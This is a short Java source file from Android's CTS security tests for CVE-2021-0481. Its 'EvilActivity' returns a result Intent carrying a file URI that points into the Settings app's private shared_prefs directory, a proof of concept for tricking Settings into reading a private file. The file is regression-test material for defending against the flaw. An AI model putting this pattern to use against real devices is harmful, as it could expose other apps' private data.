hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java

/*
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package android.security.cts.CVE_2021_0481;

import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;

public class EvilActivity extends Activity {

    final static String PRIVATE_URI = "file:///data/user_de/0/com.android.settings/shared_prefs/cve_2021_0481.txt";
    private static final String TAG = "TAG_2021_0481";
    @Override
    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Log.d(TAG, "EvilActivity started!");
        setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));
        finish();
    }
}